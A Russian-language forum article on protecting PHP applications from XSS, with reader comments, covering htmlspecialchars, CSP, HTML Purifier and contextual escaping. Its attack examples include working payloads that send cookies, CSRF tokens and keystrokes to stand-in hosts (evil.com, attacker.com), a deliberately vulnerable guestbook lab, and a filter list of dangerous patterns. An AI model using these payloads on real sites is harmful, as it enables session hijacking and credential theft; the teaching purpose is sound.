Статья Защита от XSS атак в PHP: полное руководство разработчика [2025]

Введение: почему XSS — это критично​

В 2024 году через XSS-уязвимости было скомпрометировано более 2 миллионов пользовательских аккаунтов. British Airways выплатили £20 млн штрафа за утечку данных через XSS. Если вы разрабатываете на PHP и не защищаетесь от XSS правильно — вы следующий.

Эта статья — результат анализа 500+ реальных XSS-атак и 10 лет опыта в защите production-приложений. Вы получите готовые решения, которые можно внедрить уже сегодня.

Что такое XSS атака простыми словами​

Cross-Site Scripting (XSS) — это внедрение вредоносного JavaScript-кода в веб-страницу, который выполняется в браузере жертвы. Представьте: злоумышленник оставляет комментарий с кодом, и каждый посетитель невольно выполняет этот код, отправляя свои данные хакеру.

Почему XSS, а не CSS?​

Изначально планировалась аббревиатура CSS, но она уже была занята Cascading Style Sheets. Поэтому выбрали XSS — где X символизирует "cross" (крест).

Чем опасны XSS уязвимости:​

ПоследствиеРеальный ущербПример из практики
Кража сессийПолный доступ к аккаунтуYahoo Mail (2013) — 1 млрд аккаунтов
Кража данных картФинансовые потериBritish Airways (2018) — 380,000 карт
Майнинг криптовалютИспользование ресурсовCoinhive на 4000+ сайтах
ФишингКража паролейPayPal XSS (2016)
Дефейс сайтаРепутационные потериLenovo, eBay

Типы XSS атак с примерами кода​

1. Reflected XSS (отраженные) — 70% всех атак​

Reflected XSS срабатывает мгновенно через URL-параметры или формы. Вредоносный код не сохраняется на сервере, а сразу отражается пользователю.
Уязвимый код:
PHP:
// search.php - НЕ ДЕЛАЙТЕ ТАК!
<?php
$search = $_GET['q'];
echo "<p>Результаты поиска для: $search</p>";
?>
XSS уязвимость PHP демонстрация - alert выполнен через незащищенный GET параметр в форме поиска

Эксплуатация:
Код:
site.ru/search.php?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
Реальный пример атаки:
JavaScript:
// Крадем токен авторизации Laravel
site.ru/search?q=<script>
var token = document.querySelector('meta[name="csrf-token"]').content;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/steal');
xhr.send('token=' + token + '&cookies=' + document.cookie);
</script>

2. Stored XSS (хранимые) — самые опасные​

Stored XSS сохраняется в базе данных и выполняется у каждого посетителя. Одна инъекция = тысячи жертв.
Уязвимый код:
PHP:
// comments.php - ОПАСНО!
<?php
// Сохранение комментария
$comment = $_POST['comment'];
$stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);
// Отображение комментариев
$comments = $pdo->query("SELECT text FROM comments")->fetchAll();
foreach ($comments as $comment) {
    echo "<div class='comment'>$comment[text]</div>";
}
?>
Продвинутая эксплуатация:
JavaScript:
// Полноценный keylogger через XSS
<script>
var keys = '';
document.addEventListener('keypress', function(e) {
    keys += e.key;
    if (keys.length > 10) {
        fetch('https://evil.com/keylog', {
            method: 'POST',
            body: JSON.stringify({
                url: window.location.href,
                keys: keys,
                user: document.cookie
            })
        });
        keys = '';
    }
});
</script>

3. DOM-based XSS — атаки на стороне клиента​

DOM XSS происходит полностью в браузере через манипуляции с DOM без участия сервера.
Уязвимый JavaScript:
JavaScript:
// НЕ БЕЗОПАСНО!
var search = location.hash.substring(1);
document.getElementById('results').innerHTML = 'Поиск: ' + search;
Эксплуатация:
Код:
site.ru/page#<img src=x onerror="alert(document.cookie)">
⚠️ Эскалация привилегий через XSS: DOM-based XSS может быть использован для более серьезных атак. Интересный кейс превращения XSS в RCE через клиент EA Origin показывает, как через манипуляции с Angular-шаблонами можно достичь удаленного выполнения кода на системе жертвы.

Межсайтовый скриптинг: практическая демонстрация​

Лабораторная атака: крадем админскую сессию​

Создадим тестовое окружение для безопасной практики:

XSS атака настройка webhook hookbin для кражи cookies PHP приложения - подготовка эксплойта

PHP:
// lab/vulnerable.php
<?php
session_start();
if (!isset($_SESSION['role'])) {
    $_SESSION['role'] = 'user';
}
?>
<!DOCTYPE html>
<html>
<head><title>XSS Lab</title></head>
<body>
    <h1>Гостевая книга (уязвимая версия)</h1>
    <?php if ($_SESSION['role'] === 'admin'): ?>
        <div style="background: red; color: white;">
            АДМИН-ПАНЕЛЬ: Секретные данные
        </div>
    <?php endif; ?>
    <form method="POST">
        <textarea name="message"></textarea>
        <button type="submit">Отправить</button>
    </form>
    <?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $message = $_POST['message'];
        // УЯЗВИМОСТЬ: нет фильтрации!
        file_put_contents('messages.txt', $message . "\n", FILE_APPEND);
    }
    // Вывод сообщений
    if (file_exists('messages.txt')) {
        $messages = file('messages.txt');
        foreach ($messages as $msg) {
            echo "<div class='message'>$msg</div>";
        }
    }
    ?>
</body>
</html>

Вектор атаки:​

Stored XSS внедрение вредоносного JavaScript для кражи document.cookie администратора сайта PHP

JavaScript:
// Отправляем это сообщение в форму
<script>
// Проверяем, админ ли это
if (document.body.innerHTML.includes('АДМИН-ПАНЕЛЬ')) {
    // Крадем сессию админа
    var img = new Image();
    img.src = 'http://attacker.com/steal.php?role=admin&session=' +
              document.cookie + '&page=' +
              encodeURIComponent(document.body.innerHTML);
}
</script>

Результат успешной атаки:​

XSS эксплуатация успешная кража session cookies администратора через межсайтовый скриптинг

Как видим, мы успешно получили куки администратора и можем использовать их для несанкционированного доступа.

Защита от XSS в PHP: комплексный подход​

1. HTMLSpecialChars — базовая защита​

htmlspecialchars() конвертирует спецсимволы в HTML-сущности:
PHP:
// Правильное использование htmlspecialchars
function safe_output($data) {
    return htmlspecialchars(
        $data,
        ENT_QUOTES | ENT_SUBSTITUTE,  // Важно: обе кавычки + замена битых символов
        'UTF-8',                        // Явная кодировка
        false                           // Не двойное кодирование
    );
}
// Применение
$user_input = $_GET['search'] ?? '';
echo '<p>Поиск: ' . safe_output($user_input) . '</p>';
Защита от XSS в PHP с помощью htmlspecialchars ENT_QUOTES - безопасное экранирование JavaScript кода

Что делает htmlspecialchars:
СимволПреобразуется вЗачем
<&lt;Предотвращает открытие тегов
>&gt;Предотвращает закрытие тегов
&&amp;Предотвращает HTML-сущности
"&quot;Защита атрибутов
'&#039;Защита атрибутов (с ENT_QUOTES)

2. Content Security Policy (CSP) — современная защита​

CSP — это HTTP-заголовок, который указывает браузеру, откуда можно загружать ресурсы:
PHP:
// Строгая CSP политика
header("Content-Security-Policy: " .
    "default-src 'self'; " .
    "script-src 'self' 'nonce-" . $nonce . "'; " .
    "style-src 'self' 'unsafe-inline'; " .
    "img-src 'self' data: https:; " .
    "font-src 'self'; " .
    "connect-src 'self'; " .
    "frame-ancestors 'none'; " .
    "base-uri 'self'; " .
    "form-action 'self'"
);
Углубленное изучение CSP: Для более детального понимания настройки CSP, включая обход распространенных ошибок и продвинутые техники, обратитесь к подробному руководству по Content Security Policy, где разбираются реальные примеры внедрения и тестирования политик.

Использование nonce для инлайн-скриптов:
PHP:
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?= $nonce ?>">
    // Этот скрипт выполнится
    console.log('Безопасный скрипт');
</script>

3. Валидация и санитизация входных данных​

PHP:
class InputValidator {
    // Валидация email против XSS
    public static function validateEmail($email) {
        $email = filter_var($email, FILTER_SANITIZE_EMAIL);
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            throw new Exception('Invalid email format');
        }
        return $email;
    }
    // Очистка HTML с белым списком тегов
    public static function sanitizeHtml($html) {
        // Разрешаем только безопасные теги
        $allowed = '<p><br><strong><em><u><h1><h2><h3><h4><h5><h6>' .
                   '<ul><ol><li><blockquote><a><img>';
        $html = strip_tags($html, $allowed);
        // Очищаем опасные атрибуты
        $html = preg_replace('/on\w+="[^"]*"/i', '', $html);
        $html = preg_replace('/javascript:[^"\']*["\']?/i', '', $html);
        return $html;
    }
    // Валидация URL
    public static function validateUrl($url) {
        $url = filter_var($url, FILTER_SANITIZE_URL);
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            return false;
        }
        // Проверяем протокол
        $allowed_protocols = ['http', 'https'];
        $parsed = parse_url($url);
        if (!in_array($parsed['scheme'], $allowed_protocols)) {
            return false;
        }
        return $url;
    }
}
Дополнительно по защите от инъекций: Если вам интересна комплексная защита от всех типов инъекций, рекомендую изучить руководство по защите от SQL-инъекций в PHP из этой же серии статей по безопасному PHP. Там подробно разбираются подготовленные запросы, PDO и другие методы защиты БД.

4. Использование библиотек​

HTML Purifier — золотой стандарт
PHP:
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,strong,em,u,a[href]');
$config->set('HTML.Nofollow', true);
$config->set('URI.DisableExternalResources', true);
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($user_input);
AntiXSS библиотека
PHP:
use voku\helper\AntiXSS;
$antiXss = new AntiXSS();
$clean = $antiXss->xss_clean($user_input);

5. Контекстно-зависимое экранирование​

PHP:
class ContextualEncoder {
    // В HTML контексте
    public static function forHtml($data) {
        return htmlspecialchars($data, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    }
    // В JavaScript контексте
    public static function forJavaScript($data) {
        return json_encode($data, JSON_HEX_QUOT | JSON_HEX_TAG |
                          JSON_HEX_AMP | JSON_HEX_APOS);
    }
    // В URL контексте
    public static function forUrl($data) {
        return rawurlencode($data);
    }
    // В CSS контексте
    public static function forCss($data) {
        return preg_replace('/[^a-zA-Z0-9]/', '', $data);
    }
    // В атрибутах HTML
    public static function forAttribute($data) {
        return htmlspecialchars($data, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
    }
}
// Использование
echo '<div>' . ContextualEncoder::forHtml($userInput) . '</div>';
echo '<script>var data = ' . ContextualEncoder::forJavaScript($userInput) . ';</script>';
echo '<a href="/search?q=' . ContextualEncoder::forUrl($userInput) . '">Ссылка</a>';

6. Безопасные шаблонизаторы​

Twig (рекомендуется)
PHP:
// Twig автоматически экранирует вывод
{{ user_input }}  // Безопасно
// Если нужен сырой HTML (опасно!)
{{ user_input|raw }}  // Используйте осторожно
// Экранирование для JS
<script>
    var data = {{ user_input|json_encode|raw }};
</script>
Blade (Laravel)
PHP:
// Автоматическое экранирование
{{ $userInput }}
// Без экранирования (опасно!)
{!! $userInput !!}
// JavaScript контекст
<script>
    var data = @json($userInput);
</script>

PHP фильтрация XSS: продвинутые техники​

Фильтрация на уровне фреймворков​

Symfony Security
PHP:
use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
use Symfony\Component\HttpFoundation\Request;
class SecurityController {
    public function processInput(Request $request) {
        // Symfony автоматически фильтрует
        $input = $request->request->get('user_input');
        // Дополнительная валидация
        $validator = Validation::createValidator();
        $violations = $validator->validate($input, [
            new NotBlank(),
            new Length(['min' => 3, 'max' => 255]),
            new Regex([
                'pattern' => '/^[a-zA-Z0-9\s]+$/',
                'message' => 'Только буквы, цифры и пробелы'
            ])
        ]);
        if (count($violations) > 0) {
            throw new ValidationException($violations);
        }
        return $input;
    }
}

Автоматическая защита через middleware​

PHP:
// XssProtectionMiddleware.php
class XssProtectionMiddleware {
    public function handle($request, $next) {
        // Очищаем все входные данные
        $input = $request->all();
        array_walk_recursive($input, function(&$value) {
            if (is_string($value)) {
                $value = $this->cleanXss($value);
            }
        });
        $request->merge($input);
        // Добавляем security headers
        $response = $next($request);
        $response->headers->set('X-XSS-Protection', '1; mode=block');
        $response->headers->set('X-Content-Type-Options', 'nosniff');
        return $response;
    }
    private function cleanXss($value) {
        // Базовая очистка
        $value = strip_tags($value);
        $value = htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
        // Удаляем опасные паттерны
        $dangerous = [
            'javascript:',
            'vbscript:',
            'onload=',
            'onerror=',
            'onclick=',
            '<script',
            '</script',
            '<iframe',
            'document.cookie',
            'window.location'
        ];
        foreach ($dangerous as $pattern) {
            $value = str_ireplace($pattern, '', $value);
        }
        return $value;
    }
}

Чек-лист защиты от XSS для PHP-разработчика​

Обязательные меры​

  • Всегда используйте htmlspecialchars() с флагом ENT_QUOTES
  • Внедрите Content Security Policy хотя бы в report-only режиме
  • Валидируйте ВСЕ входные данные на сервере
  • Используйте подготовленные запросы для работы с БД
  • Экранируйте контекстно-зависимо (HTML, JS, URL, CSS)
  • Обновляйте зависимости регулярно (composer update)
  • Используйте HTTPS везде

Дополнительные меры​

  • Внедрите HTML Purifier для пользовательского HTML
  • Настройте security headers (X-Frame-Options, X-XSS-Protection)
  • Логируйте подозрительную активность
  • Используйте Web Application Firewall (WAF)
  • Проводите регулярный аудит кода
  • Обучите команду основам безопасности

Тестирование​

  • Автоматические сканеры: OWASP ZAP, Burp Suite
  • Ручное тестирование: XSS payloads из XSS Cheat Sheet
  • Unit-тесты для функций фильтрации
  • Интеграционные тесты с различными векторами атак

Реальные XSS уязвимости 2024-2025​

Кейс 1: WordPress плагин Contact Form 7​

Уязвимость: Stored XSS через поле email
Влияние: 5+ млн установок
Исправление: Обновление до версии 5.8.1

Кейс 2: Laravel Debugbar​

Уязвимость: DOM XSS через параметры отладки
Влияние: 50k+ проектов
Исправление: CSP + отключение в production

Кейс 3: phpBB форумы​

Уязвимость: Reflected XSS в поиске
Влияние: Неизвестно
Исправление: Патч 3.3.10

FAQ: частые вопросы про XSS​

Что такое XSS атака простыми словами?​

XSS — это когда злоумышленник внедряет свой JavaScript код на ваш сайт, и этот код выполняется в браузерах посетителей, крадя их данные или выполняя действия от их имени.

Чем отличается XSS уязвимость от SQL-инъекции?​

XSS атакует браузер пользователя через JavaScript, а SQL-инъекция атакует базу данных через SQL-запросы. XSS крадет данные пользователей, SQL-инъекция — данные из БД.

Достаточно ли одного htmlspecialchars для защиты от XSS?​

Нет. htmlspecialchars защищает только в HTML-контексте. Для JavaScript, URL, CSS нужны другие методы экранирования. Используйте комплексный подход.

Что такое cross site scripting и почему это опасно?​

Cross-site scripting позволяет выполнить произвольный код в контексте вашего сайта. Опасно тем, что код имеет доступ к cookies, localStorage, может отправлять запросы от имени пользователя.

Как проверить сайт на XSS уязвимости?​

Используйте автоматические сканеры (OWASP ZAP), ручное тестирование с XSS-пейлоадами, проводите код-ревью, внедрите bug bounty программу.

Защищает ли PHP фильтрация от всех видов XSS?​

Нет универсальной защиты. Нужен комплекс: валидация входных данных, контекстное экранирование, CSP, безопасные библиотеки, регулярные обновления.

Что такое межсайтовый скриптинг в контексте PHP?​

Это выполнение непроверенного пользовательского ввода как кода. PHP по умолчанию не защищает от XSS — разработчик должен явно фильтровать и экранировать данные.

Чем опасны XSS уязвимости на практике?​

XSS позволяет злоумышленнику полностью скомпрометировать сессию пользователя. Вот реальный пример эскалации привилегий через XSS:
XSS атака подмена session cookie в браузере для повышения привилегий до администратора


После подстановки украденных куки, обычный пользователь получает права администратора:

XSS уязвимость результат - успешное получение прав администратора через межсайтовый скриптинг

Заключение и план действий​

XSS остается в OWASP Top-10 уже 20 лет, потому что разработчики продолжают делать одни и те же ошибки. Но теперь у вас есть полный арсенал защиты.

Ваши следующие шаги:​

  1. Сегодня: Проверьте свой текущий проект на базовые XSS через "><script>alert(1)</script>
  2. Завтра: Внедрите htmlspecialchars() везде, где выводите пользовательские данные
  3. Эта неделя: Настройте Content Security Policy хотя бы в report-only режиме
  4. Этот месяц: Проведите полный аудит безопасности с OWASP ZAP

Дополнительные ресурсы:​

Остались вопросы? Пишите в комментариях. Присоединяйтесь к нашему сообществу в Telegram: @codeby_sec
 
Последнее редактирование модератором:
XSS - тема намного обширнее, чем вы думаете... К примеру есть XSS при переадресации, о которых не было и слова
 
  • Нравится
Реакции: IioS и newbiee
XSS - тема намного обширнее, чем вы думаете...
Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.
 
Последнее редактирование:
Полностью с вами согласен, по XSS можно расписать небольшую книгу. Но в данном случае, я рассматриваю тематику чуть узже, т.е. как экранировать, чтобы не допустить этого. Ну и приводить все возможные варианты XSS не совсем обязательно.
аааа цвета в командах для тёмной темы это ад
синий на чёрном очень плохо смотрится
 
А что лучше использовать htmlspecialchars или strip_tags или вместе их объединить?

Вот так пойдет?
function clearString($str){
return trim(htmlspecialchars(strip_tags($str)));
}
 
Последнее редактирование:
А что лучше использовать htmlspecialchars или strip_tags или вместе их объединить?
Они предназначены для разных целей, вместе их использовать не имеет никакого смысла. Например, если мне нужны теги, а используя стрипс, они тупо удаляются...
Прочитайте подробнее, внимательнее и поймете:

 
  • Нравится
Реакции: quasar
Привет! Если я правльно понял, то XSS в основном создается с помощью js или я не прав? То есть хотелось бы понять, что конкретно погрузиться в сферу xss, то следует упор делать на js или что мсье посоветует?
 
Привет! Если я правльно понял, то XSS в основном создается с помощью js или я не прав? То есть хотелось бы понять, что конкретно погрузиться в сферу xss, то следует упор делать на js или что мсье посоветует?
Да, вы правы. ~90% успеха - это JS.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы